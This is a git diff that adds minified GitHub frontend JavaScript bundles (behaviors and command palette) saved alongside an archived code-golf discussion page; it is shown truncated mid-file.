d=h;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=h,window.customElements.define("fuzzy-list",h))},30481:($,D,f)=>{"use strict";f.d(D,{Y:()=>g,q:()=>h});var T=f(88149),c=f(86058);const C="dimension_";let _;const x=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];try{const d=(0,T.n)("octolytics");delete d.baseContext,_=new c.R(d)}catch{}function u(d){const m=(0,T.n)("octolytics").baseContext||{};if(m){delete m.app_id,delete m.event_url,delete m.host;for(const v in m)v.startsWith(C)&&(m[v.replace(C,"")]=m[v],delete m[v])}const p=document.querySelector("meta[name=visitor-payload]");if(p){const v=JSON.parse(atob(p.content));Object.assign(m,v)}const b=new URLSearchParams(window.location.search);for(const[v,L]of b)x.includes(v.toLowerCase())&&(m[v]=L);return Object.assign(m,d)}s(u,"extendBaseContext");function g(d){_==null||_.sendPageView(u(d))}s(g,"sendPageView");function h(d,m){var p,b;const v=(b=(p=document.head)==null?void 0:p.querySelector('meta[name="current-catalog-service"]'))==null?void 0:b.content,L=v?{service:v}:{};for(const[q,E]of Object.entries(m))E!=null&&(L[q]=`${E}`);_==null||_.sendEvent(d||"unknown",u(L))}s(h,"sendEvent")},53692:($,D,f)=>{"use strict";f.d(D,{$S:()=>c,Fk:()=>C,sz:()=>_});var T=f(45922);function c(x,u,g){const h={hydroEventPayload:x,hydroEventHmac:u,visitorPayload:"",visitorHmac:"",hydroClientContext:g},d=document.querySelector("meta[name=visitor-payload]");d instanceof HTMLMetaElement&&(h.visitorPayload=d.content);const m=document.querySelector("meta[name=visitor-hmac]")||"";m instanceof HTMLMetaElement&&(h.visitorHmac=m.content),(0,T.b)(h,!0)}s(c,"sendData");function C(x){const u=x.getAttribute("data-hydro-view")||"",g=x.getAttribute("data-hydro-view-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(C,"trackView");function _(x){const u=x.getAttribute("data-hydro-click-payload")||"",g=x.getAttribute("data-hydro-click-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(_,"sendHydroEvent")},51244:($,D,f)=>{"use strict";f.d(D,{vt:()=>A,WF:()=>E,DV:()=>q,jW:()=>M,Nc:()=>p,$t:()=>C});const T={frequency:.6,recency:.4};function c(H,N){return H.sort((K,W)=>N(K)-N(W))}s(c,"sortBy");function C(H){const N=x(H),K=u(H);return function(W){return _(N.get(W)||0,K.get(W)||0)}}s(C,"scorer");function _(H,N){return H*T.frequency+N*T.recency}s(_,"score");function x(H){const N=[...Object.values(H)].reduce((K,W)=>K+W.visitCount,0);return new Map(Object.keys(H).map(K=>[K,H[K].visitCount/N]))}s(x,"frequencyMap");function u(H){const N=c([...Object.keys(H)],W=>H[W].lastVisitedAt),K=N.length;return new Map(N.map((W,U)=>[W,(U+1)/K]))}s(u,"recencyMap");const g=/^\/orgs\/([a-z0-9-]+)\/teams\/([\w-]+)/,h=[/^\/([^/]+)\/([^/]+)\/?$/,/^\/([^/]+)\/([^/]+)\/blob/,/^\/([^/]+)\/([^/]+)\/tree/,/^\/([^/]+)\/([^/]+)\/issues/,/^\/([^/]+)\/([^/]+)\/pulls?/,/^\/([^/]+)\/([^/]+)\/pulse/],d=[["organization",/^\/orgs\/([a-z0-9-]+)\/projects\/([0-9-]+)/],["repository",/^\/([^/]+)\/([^/]+)\/projects\/([0-9-]+)/]],m=100;function p(H){const N=H.match(g);if(N){v(q(N[1],N[2]));return}let K;for(let U=0,te=d.length;UK(te)-K(U)).slice(0,m/2);return Object.fromEntries(W.map(U=>[U,H[U]]))}s(b,"limitedPageViews");function v(H){const N=M(),K=L(),W=N[H]||{lastVisitedAt:K,visitCount:0};W.visitCount+=1,W.lastVisitedAt=K,N[H]=W,P(b(N))}s(v,"logPageViewByKey");function L(){return Math.floor(Date.now()/1e3)}s(L,"currentEpochTimeInSeconds");function q(H,N){return`team:${H}/${N}`}s(q,"buildTeamKey");function E(H,N){return`repository:${H}/${N}`}s(E,"buildRepositoryKey");function A(H,N){return`project:${H}/${N}`}s(A,"buildProjectKey");const k=/^(team|repository|project):[^/]+\/[^/]+(\/([^/]+))?$/,j="jump_to:page_views";function P(H){O(j,JSON.stringify(H))}s(P,"setPageViewsMap");function M(){const H=V(j);if(!H)return{};let N;try{N=JSON.parse(H)}catch{return P({}),{}}const K={};for(const W in N)W.match(k)&&(K[W]=N[W]);return K}s(M,"getPageViewsMap");function O(H,N){try{window.localStorage.setItem(H,N)}catch{}}s(O,"setItem");function V(H){try{return window.localStorage.getItem(H)}catch{return null}}s(V,"getItem")},11190:($,D,f)=>{"use strict";f.d(D,{I:()=>x,n:()=>_});var T=f(24216);const c=["notification_referrer_id","notifications_before","notifications_after","notifications_query"],C="notification_shelf";function _(d,m=null){return d.has("notification_referrer_id")?(u(d,m),g(d)):null}s(_,"storeAndStripShelfParams");function x(d=null){const m=h(d);if(!m)return(0,T.cl)(C),null;try{const p=(0,T.rV)(C);if(!p)return null;const b=JSON.parse(p);if(!b||!b.pathname)throw new Error("Must have a pathname");if(b.pathname!==m)throw new Error("Stored pathname does not match current pathname.");const v={};for(const L of c)v[L]=b[L];return v}catch{return(0,T.cl)(C),null}}s(x,"getStoredShelfParamsForCurrentPage");function u(d,m){const p=h(m);if(!p)return;const b={pathname:p};for(const v of c){const L=d.get(v);L&&(b[v]=L)}(0,T.LS)(C,JSON.stringify(b))}s(u,"storeShelfParams");function g(d){for(const m of c)d.delete(m);return d}s(g,"deleteShelfParams");function h(d){d=d||window.location.pathname;const m=/^(\/[^/]+\/[^/]+\/pull\/[^/]+)/,p=d.match(m);return p?p[0]:null}s(h,"getCurrentPullRequestPathname")},32904:($,D,f)=>{"use strict";f.d(D,{a:()=>T});function T(x,u){const g=x.closest("[data-notification-id]");u.hasAttribute("data-status")&&c(g,u.getAttribute("data-status")),u.hasAttribute("data-subscription-status")&&C(g,u.getAttribute("data-subscription-status")),u.hasAttribute("data-starred-status")&&_(g,u.getAttribute("data-starred-status"))}s(T,"updateNotificationStates");function c(x,u){x.classList.toggle("notification-archived",u==="archived"),x.classList.toggle("notification-unread",u==="unread"),x.classList.toggle("notification-read",u==="read")}s(c,"toggleNotificationStatus");function C(x,u){x.classList.toggle("notification-unsubscribed",u==="unsubscribed")}s(C,"toggleNotificationSubscriptionStatus");function _(x,u){x.classList.toggle("notification-starred",u==="starred")}s(_,"toggleNotificationStarredStatus")},19218:($,D,f)=>{"use strict";f.d(D,{v:()=>T});function T(c,C){C.appendChild(c.extractContents()),c.insertNode(C)}s(T,"surroundContents")},25331:($,D,f)=>{"use strict";f.d(D,{e:()=>T});function T(c){const C=c||window.location,_=document.head&&document.head.querySelector("meta[name=session-resume-id]");return _ instanceof HTMLMetaElement&&_.content||C.pathname}s(T,"getPageID")},82841:($,D,f)=>{"use strict";f.d(D,{Z:()=>m});var T=f(12737),c=f(29719),C=f(65935),_=f(5642);let x=!1;function u(p){const b=new URL(p,window.location.origin),v=new URLSearchParams(b.search.slice(1));return v.set("webauthn-support",(0,_.T)()),b.search=v.toString(),b.toString()}s(u,"urlWithParams");async function g(){const p=document.querySelector("link[rel=sudo-modal]"),b=document.querySelector(".js-sudo-prompt");if(b instanceof HTMLTemplateElement)return b;if(p){const v=await(0,c.a)(document,u(p.href));return document.body.appendChild(v),document.querySelector(".js-sudo-prompt")}else throw new Error("couldn't load sudo prompt")}s(g,"loadPromptTemplate");let h=!1;async function d(){if(x)return!1;x=!0,h=!1;const b=(await g()).content.cloneNode(!0),v=await(0,T.W)({content:b});return await new Promise(L=>{v.addEventListener("dialog:remove",function(){x=!1,L()},{once:!0})}),h}s(d,"sudoPrompt"),(0,C.AC)(".js-sudo-form",async function(p,b){try{await b.text()}catch(v){if(!v.response)throw v;let L;switch(v.response.status){case 401:L="Incorrect password.";break;case 429:L="Too many password attempts. Please wait and try again later.";break;default:L="Failed to receive a response. Please try again later."}p.querySelector(".js-sudo-error").textContent=L,p.querySelector(".js-sudo-error").hidden=!1,p.querySelector(".js-sudo-password").value="";return}h=!0,p.closest("details").removeAttribute("open")});async function m(){const p=await fetch("/sessions/in_sudo",{headers:{accept:"application/json","X-Requested-With":"XMLHttpRequest"}});return p.ok&&await p.text()==="true"?!0:d()}s(m,"triggerSudoPrompt")},40764:($,D,f)=>{"use strict";f.d(D,{Om:()=>_,lp:()=>c,rq:()=>T,t4:()=>C,yb:()=>u});function T(g){const h="\u200D",d=g.split(h);let m=0;for(const p of d)m+=Array.from(p.split(/[\ufe00-\ufe0f]/).join("")).length;return m/d.length}s(T,"getUtf8StringLength");function c(g,h,d){let m=g.value.substring(0,g.selectionEnd||0),p=g.value.substring(g.selectionEnd||0);return m=m.replace(h,d),p=p.replace(h,d),x(g,m+p,m.length),d}s(c,"replaceText");function C(g,h,d){if(g.selectionStart===null||g.selectionEnd===null)return c(g,h,d);const m=g.value.substring(0,g.selectionStart),p=g.value.substring(g.selectionEnd);return x(g,m+d+p,m.length),d}s(C,"replaceSelection");function _(g,h,d={}){const m=g.selectionEnd||0,p=g.value.substring(0,m),b=g.value.substring(m),v=g.value===""||p.match(/\n$/)?"":` +`,L=d.appendNewline?` +`:"",q=v+h+L;g.value=p+q+b;const E=m+q.length;return g.selectionStart=E,g.selectionEnd=E,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),g.focus(),q}s(_,"insertText");function x(g,h,d){g.value=h,g.selectionStart=d,g.selectionEnd=d,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1}))}s(x,"setTextareaValueAndCursor");function u(g,h){const d=[...g],m=new TextEncoder,p=new Uint8Array(4);for(let b=0;b=h))break}return h}s(u,"GetCharIndexFromBytePosition")},66899:($,D,f)=>{"use strict";f.d(D,{dY:()=>h,iU:()=>g,oq:()=>u});const T=new WeakMap;function c(d){const m=T.get(d);!m||(m.timer!=null&&clearTimeout(m.timer),m.timer=window.setTimeout(()=>{m.timer!=null&&(m.timer=null),m.inputed=!1,m.listener.call(null,d)},m.wait))}s(c,"schedule");function C(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!0,p.timer!=null&&clearTimeout(p.timer))}s(C,"onKeydownInput");function _(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!1,p.inputed&&c(m))}s(_,"onKeyupInput");function x(d){const m=d.currentTarget,p=T.get(m);!p||(p.inputed=!0,p.keypressed||c(m))}s(x,"onInputInput");function u(d,m,p={wait:null}){T.set(d,{keypressed:!1,inputed:!1,timer:void 0,listener:m,wait:p.wait!=null?p.wait:100}),d.addEventListener("keydown",C),d.addEventListener("keyup",_),d.addEventListener("input",x)}s(u,"addThrottledInputEventListener");function g(d,m){d.removeEventListener("keydown",C),d.removeEventListener("keyup",_),d.removeEventListener("input",x);const p=T.get(d);p&&(p.timer!=null&&p.listener===m&&clearTimeout(p.timer),T.delete(d))}s(g,"removeThrottledInputEventListener");function h(d){const m=T.get(d);m&&m.listener.call(null,d)}s(h,"dispatchThrottledInputEvent")},5878:($,D,f)=>{"use strict";f.d(D,{Z:()=>c});function T(C){return C.offsetWidth<=0&&C.offsetHeight<=0}s(T,"hidden");function c(C){return!T(C)}s(c,"visible")},5642:($,D,f)=>{"use strict";f.d(D,{T:()=>c,k:()=>C});var T=f(70112);function c(){return(0,T.Zh)()?"supported":"unsupported"}s(c,"webauthnSupportLevel");async function C(){var _;return await((_=window.PublicKeyCredential)==null?void 0:_.isUserVerifyingPlatformAuthenticatorAvailable())?"supported":"unsupported"}s(C,"iuvpaaSupportLevel")}},$=>{var D=s(T=>$($.s=T),"__webpack_exec__");$.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537","app_assets_modules_github_behaviors_pjax_ts","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef","app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],()=>D(56851));var f=$.O()}]);})(); + +//# sourceMappingURL=behaviors-77f99b7e6910.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js new file mode 100644 index 0000000..09e09d2 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var vt=Object.defineProperty;var n=(S,C)=>vt(S,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["command-palette"],{86761:(S,C,a)=>{var i=a(90420),b=Object.defineProperty,v=Object.getOwnPropertyDescriptor,g=n((t,e,s,o)=>{for(var r=o>1?void 0:o?v(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&b(e,s,r),r},"__decorateClass");const m="*";let p=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=""}active(t,e){return this.scopeTypeMatch(t.type)&&this.modeMatch(e)}scopeTypeMatch(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t):!0}modeMatch(t){return this.char===m||this.char===t}character(){return this.char===m?"":this.char}},"CommandPaletteModeElement");g([i.Lj],p.prototype,"char",2),g([i.Lj],p.prototype,"placeholder",2),g([i.Lj],p.prototype,"scopeTypes",2),p=g([i.Ih],p);var d=Object.defineProperty,h=Object.getOwnPropertyDescriptor,u=n((t,e,s,o)=>{for(var r=o>1?void 0:o?h(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&d(e,s,r),r},"command_palette_tip_element_decorateClass");const f="*",E="";let _=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=E,this.mode=f,this.matchMode=E,this.value=f,this.onEmpty=!1,this.onError=!1}connectedCallback(){this.hidden=!0}available(t,e=!1,s=!1){return this.valueMatch(t.text)&&this.scopeTypeMatch(t.scope.type)&&this.modeMatch(t.mode)&&this.showOnEmpty(e)&&this.showOnError(s)}toggle(t,e=!1,s=!1){this.hidden=!this.available(t,e,s)}valueMatch(t){return this.value===f||this.value===t}scopeTypeMatch(t){return this.scopeTypes!==E&&(this.scopeTypes===f||JSON.parse(this.scopeTypes).includes(t))}modeMatch(t){if(this.matchMode===E)return this.mode===f||this.mode===t;{const e=new RegExp(this.matchMode);return t.match(e)!==null}}showOnEmpty(t){return this.onEmpty?t:!0}showOnError(t){return this.onError?t:!0}},"CommandPaletteTipElement");u([i.Lj],_.prototype,"scopeTypes",2),u([i.Lj],_.prototype,"mode",2),u([i.Lj],_.prototype,"matchMode",2),u([i.Lj],_.prototype,"value",2),u([i.Lj],_.prototype,"onEmpty",2),u([i.Lj],_.prototype,"onError",2),_=u([i.Ih],_);var G=a(47779),$e=Object.defineProperty,Fe=Object.getOwnPropertyDescriptor,R=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Fe(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&$e(e,s,r),r},"command_palette_token_element_decorateClass");let k=n(class extends HTMLElement{constructor(){super(...arguments);this.type="",this.id="",this.text="",this.value=""}},"CommandPaletteTokenElement");R([i.Lj],k.prototype,"type",2),R([i.Lj],k.prototype,"id",2),R([i.Lj],k.prototype,"text",2),R([i.Lj],k.prototype,"value",2),k=R([i.Ih],k);var gt=a(39200),He=a(23207),bt=a(2846),Y=a(80829),ze=a(4220),z=a(78584);class U extends z.j{fetch(e,s){return this.fetchSrc(e)}enabledFor(e){return this.modeMatch(e)&&this.scopeMatch(e)}clearCache(){}scopeMatch(e){return this.scopeTypes.length===0||this.scopeTypes.includes(e.scope.type)}modeMatch(e){return this.modes.includes(e.mode)||this.hasWildCard}async fetchSrc(e,s=""){var o;if(!this.src)throw new Error("No src defined");const r=new URL(this.src,window.location.origin),c=e.params();s&&c.set("mode",s),r.search=c.toString();const l=await fetch(r.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(l.ok){const L=await l.json();return{results:((o=L.results)==null?void 0:o.map(w=>ze.g.build(w)))||[],octicons:L.octicons}}else return{error:!0,results:[]}}}n(U,"RemoteProvider");class H extends U{constructor(){super(...arguments);this.maxItems=1e3,this.scopedItems={},this.cachedOcticons={}}clearCache(){super.clearCache(),this.scopedItems={},this.cachedOcticons={}}get debounce(){return 0}async prefetch(e){if(!this.scopeMatch(e)||this.scopedItems[e.scope.id])return;const s=new Y.A("",e.mode,{subjectId:e.subjectId,subjectType:e.subjectType,returnTo:e.returnTo,scope:e.scope}),o=await this.fetchSrc(s,e.mode);this.octicons=o.octicons||[];const r=o.results||[];this.scopedItems[e.scope.id]=r,this.cachedOcticons[e.scope.id]=this.octicons}async fetch(e,s){const o=this.scopedItems[e.scope.id]||[],r=this.cachedOcticons[e.scope.id]||[];return{results:this.fuzzyFilter(o,e).slice(0,this.maxItems),octicons:r}}}n(H,"PrefetchedProvider");class ee extends H{enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}}n(ee,"CommandsProvider");var Ue=a(81072),V=a(98810);class te extends H{async fetchSrc(e){if(!this.src)throw new Error("No src provided");const s=new URL(this.src,window.location.origin);s.search=e.params().toString();const r=await(await fetch(s.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json();if(!r.results)return;const c=r.results[0];if(c.base_file_path){const l=c.base_file_path,L=c.paths;r.results=L.map(w=>V.s.from({title:w,path:`${l}/${w}`,icon:"file-color-fg-muted",group:"files"}))}else c.action&&c.action.type==="access_policy"?r.results=[new Ue.i(c)]:r.results=[];return r}async fetch(e,s=!1){const o=e.text.match(/(.+):(\d*)\s*$/);return o?this.fetchWithLineNumbers(e,o):super.fetch(e,s)}async fetchWithLineNumbers(e,s){const o=s[1],r=s[2],c=new Y.A(o,e.mode,{scope:e.scope}),l=[],L=(await super.fetch(c,!1)).results;for(const w of L)w instanceof V.s&&l.push(this.convert(w,r));return{results:l}}convert(e,s){return s===""||!(e instanceof V.s)||(e.title=`${e.title}:${s}`,e.action.path=`${e.action.path}#L${s}`),e}}n(te,"FilesProvider");class se extends z.j{enabledFor(e){return!0}clearCache(){}get hasCommands(){return!1}get debounce(){return 0}async fetch(e,s=!1){return e.mode!=="?"&&!s?{results:[]}:{results:Array.from(this.element.querySelectorAll("command-palette-help")).filter(c=>c.show(e)).map((c,l)=>c.toItem(l))}}}n(se,"HelpProvider");var Ve=a(31411);class oe extends z.j{enabledFor(e){return!(e.isBlank()||e.mode==="?"||e.mode===">")}clearCache(){}get hasCommands(){return!1}async fetch(e,s=!1){return{results:[Ve.K.create(e)]}}}n(oe,"SearchLinksProvider");class q{static create(e){const s=this.providers[e.type];if(!s)throw new Error(`Unknown provider type: ${e.type}`);return new s(e)}}n(q,"ServerDefinedProviderFactory"),q.providers={remote:U,prefetched:H,commands:ee,files:te,help:se,"search-links":oe};var qe=Object.defineProperty,We=Object.getOwnPropertyDescriptor,j=n((t,e,s,o)=>{for(var r=o>1?void 0:o?We(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&qe(e,s,r),r},"server_defined_provider_element_decorateClass");let T=n(class extends He.b{constructor(){super(...arguments);this._wildcard="*"}get debounce(){return parseInt(this.fetchDebounce,10)}get hasCommands(){return this.supportsCommands}get hasWildCard(){return this.modes.includes(this._wildcard)}get modes(){return this.supportedModes===""&&(this._modes=[""]),this._modes||(this._modes=JSON.parse(this.supportedModes)),this._modes}get scopeTypes(){return this.supportedScopeTypes===""?[]:(this._scopeTypes||(this._scopeTypes=JSON.parse(this.supportedScopeTypes)),this._scopeTypes)}connectedCallback(){this.provider=q.create(this)}},"ServerDefinedProviderElement");j([i.Lj],T.prototype,"type",2),j([i.Lj],T.prototype,"supportedModes",2),j([i.Lj],T.prototype,"fetchDebounce",2),j([i.Lj],T.prototype,"supportedScopeTypes",2),j([i.Lj],T.prototype,"src",2),j([i.Lj],T.prototype,"supportsCommands",2),T=j([i.Ih],T);var Ne=a(8665),Ze=Object.defineProperty,Ke=Object.getOwnPropertyDescriptor,B=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Ke(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&Ze(e,s,r),r},"command_palette_help_element_decorateClass");let D=n(class extends HTMLElement{connectedCallback(){this.hidden=!0}show(t){return this.isEnabledScopeType(t)}isEnabledScopeType(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t.scope.type):!0}toItem(t){const e={group:this.group,title:this.titleElement.innerHTML,index:t};return this.prefix&&(e.prefix=this.prefix),this.hintElement.textContent&&(e.persistentHint=this.hintElement.innerHTML),Ne.B.from(e)}},"CommandPaletteHelpElement");B([i.Lj],D.prototype,"group",2),B([i.Lj],D.prototype,"prefix",2),B([i.Lj],D.prototype,"scopeTypes",2),B([i.fA],D.prototype,"titleElement",2),B([i.fA],D.prototype,"hintElement",2),D=B([i.Ih],D);var Ct=a(68313),Et=a(96753),St=a(28760),_t=a(3991),Je=a(77417);class y{constructor(){this.iconType="octicon",this.group="commands",this.priority=0,this.dismissAfterRun=!0}static item(e={}){return new Je.U(new this,e)}run(e){new Error("Not implemented")}isApplicable(e){return!0}}n(y,"MainWindowCommand");class W extends y{constructor(){super(...arguments);this.group="global_commands"}}n(W,"MainWindowGlobalCommand");class ne extends y{constructor(){super(...arguments);this.title="Delete discussion\u2026",this.icon="trash-color-fg-muted"}get deleteButton(){return document.querySelector("button#dialog-show-delete-discussion")}get dialogElement(){return document.querySelector("#delete-discussion")}isApplicable(){return this.deleteButton!=null}run(){const e=this.deleteButton;if(e){e.click(),setTimeout(()=>{var s,o;(o=(s=this.dialogElement)==null?void 0:s.querySelector('button[type="submit"]'))==null||o.focus()},0);return}}}n(ne,"DeleteDiscussion");class re extends y{constructor(){super(...arguments);this.title="Edit discussion body",this.icon="pencil-color-fg-muted"}get editButton(){return document.querySelector(".js-discussions-comment-edit-button")}isApplicable(){return this.editButton!=null}run(){var e;(e=this.editButton)==null||e.click()}}n(re,"EditDiscussion");class ie extends y{constructor(){super(...arguments);this.title="Transfer discussion\u2026",this.icon="arrow-right-color-fg-muted"}fetchDetails(){return document.querySelector("details.js-transfer-discussion-details")}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s==null?void 0:s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(ie,"TransferDiscussion");const Qe=[ne,ie,re];var M=a(64992),ae=a(33241),ce=a(88513);class x extends y{constructor(){super(...arguments);this.title="2 spaces",this.iconType="none",this.tabSize="2",this.group=""}async run(e){this.updateTabSize(),this.saveSettings(e)}updateTabSize(){const e=document.querySelectorAll("[data-tab-size]");for(const s of e)s.setAttribute("data-tab-size",this.tabSize)}async saveSettings(e){const s=new FormData;s.set("tab_size_rendering_preference",this.tabSize);const o="Failed to save tab size preference";try{(await(0,ce.Q)("/settings/appearance/tab_size",{method:"PUT",body:s})).ok?e.displayFlash("success","Tab size rendering updated"):e.displayFlash("error",o)}catch{e.displayFlash("error",o)}}}n(x,"TabSizeTwo");class le extends x{constructor(){super(...arguments);this.title="3 spaces",this.tabSize="3"}}n(le,"TabSizeThree");class ue extends x{constructor(){super(...arguments);this.title="4 spaces",this.tabSize="4"}}n(ue,"TabSizeFour");class de extends x{constructor(){super(...arguments);this.title="6 spaces",this.tabSize="6"}}n(de,"TabSizeSix");class he extends x{constructor(){super(...arguments);this.title="8 spaces",this.tabSize="8"}}n(he,"TabSizeEight");class pe extends x{constructor(){super(...arguments);this.title="10 spaces",this.tabSize="10"}}n(pe,"TabSizeTen");class me extends x{constructor(){super(...arguments);this.title="12 spaces",this.tabSize="12"}}n(me,"TabSizeTwelve");class fe extends W{constructor(){super(...arguments);this.title="Change tab size rendering",this.icon="gear-color-fg-muted",this.priority=10,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"tab-sizes",this.pageItems),!0)}get pageItems(){return[x,le,ue,de,he,pe,me].map(e=>e.item())}select(e){this.run(e)}}n(fe,"SwitchTabSize");class ye extends y{constructor(){super(...arguments);this.title="Open in github.dev editor",this.icon="codespaces-color-fg-muted",this.priority=10}isApplicable(){return this.fetchLink()instanceof HTMLAnchorElement}fetchLink(){return document.querySelector(".js-github-dev-shortcut")}run(){var e;(e=this.fetchLink())==null||e.click()}}n(ye,"OpenInDotDev");class ve extends W{constructor(){super(...arguments);this.title="Switch theme",this.icon="paintbrush-color-fg-muted",this.priority=9,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"switch-theme-page-1",this.pageItems),!0)}get pageItems(){return[I,Ce,be,ge,Ee].map(e=>e.item())}select(e){this.run(e)}}n(ve,"SwitchTheme");class I extends y{constructor(){super(...arguments);this.title="Default dark",this.icon="moon-color-fg-muted",this.mode="dark",this.theme="dark",this.group=""}applyTheme(){this.loadStyles(this.theme),this.mode!=="auto"&&(0,M.on)(this.theme,this.mode),(0,M.h5)(this.mode)}async run(){this.applyTheme(),this.saveSettings(this.mode,this.lightTheme,this.darkTheme)}async saveSettings(e=this.mode,s,o){const r=new FormData;r.set("color_mode",e),s&&r.set("light_theme",s),o&&r.set("dark_theme",o);const l=await(await(0,ce.Q)("/settings/appearance/color_mode",{method:"PUT",body:r})).json();this.loadStyles(l.light_theme),this.loadStyles(l.dark_theme),(0,M.on)(l.light_theme,"light"),(0,M.on)(l.dark_theme,"dark"),(0,M.h5)(l.color_mode)}loadStyles(e){const s=document.querySelector(`link[data-color-theme='${e}']`);s&&!s.hasAttribute("href")&&s.hasAttribute("data-href")&&s.setAttribute("href",s.getAttribute("data-href"))}get darkTheme(){return this.mode==="dark"?this.theme:(0,M.yn)("dark")}get lightTheme(){return this.mode==="light"?this.theme:(0,M.yn)("light")}}n(I,"SwitchToDark");class ge extends I{constructor(){super(...arguments);this.title="Switch theme to dark high contrast",this.theme="dark_high_contrast"}}n(ge,"SwitchToDarkHighContrast");class be extends I{constructor(){super(...arguments);this.title="Dark dimmed",this.theme="dark_dimmed"}}n(be,"SwitchToDarkDimmed");class Ce extends I{constructor(){super(...arguments);this.title="Default light",this.icon="sun-color-fg-muted",this.mode="light",this.theme="light"}}n(Ce,"SwitchToLight");class Ee extends I{constructor(){super(...arguments);this.title="Sync with system settings",this.icon="sun-color-fg-muted",this.mode="auto"}get darkTheme(){}get lightTheme(){}}n(Ee,"SwitchToAuto");class Se extends y{constructor(){super();const e=this.isSubscribe();this.title=`${e?"Subscribe":"Unsubscribe"}`,this.icon=`${e?"bell":"bell-slash"}-color-fg-muted`}isApplicable(){var e;return this.fetchButton()instanceof HTMLButtonElement&&((e=this.fetchButton())==null?void 0:e.disabled)===!1}isSubscribe(){var e,s;return((s=(e=this.fetchButton())==null?void 0:e.textContent)==null?void 0:s.trim())==="Subscribe"}fetchButton(){return document.querySelector(".thread-subscribe-button")}run(){var e;(e=this.fetchButton())==null||e.click()}}n(Se,"UpdateSubscription");const Xe=[ye,fe,ve,Se];function _e(t){t.focus(),t.selectionStart=t.selectionEnd=t.value.length}n(_e,"moveCursorToEnd");class N extends y{constructor(){super(...arguments);this.title="Edit issue body",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.isIssue()}run(){const e=document.createElement("button");e.hidden=!0,e.classList.add("js-comment-edit-button");const s=document.querySelector("div.js-comment");s==null||s.appendChild(e),e.click(),e.remove(),setTimeout(()=>{var o;const r=(o=s==null?void 0:s.parentElement)==null?void 0:o.querySelector("textarea.js-comment-field");r&&_e(r)},0)}}n(N,"EditIssueBody");class Z extends y{constructor(){super(...arguments);this.title="Edit issue title",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isIssue()}fetchButton(){return document.querySelector(".js-title-edit-button")}run(){var e;(e=this.fetchButton())==null||e.click(),setTimeout(()=>{const s=document.querySelector("input#issue_title[autofocus]");s&&_e(s)},0)}}n(Z,"EditIssueTitle");class we extends y{constructor(){super(...arguments);this.title="Transfer issue\u2026",this.icon="arrow-right-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-transfer-issue")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(we,"TransferIssue");class Te extends y{constructor(){super();const e=this.isLock();this.title=`${e?"Lock":"Unlock"} 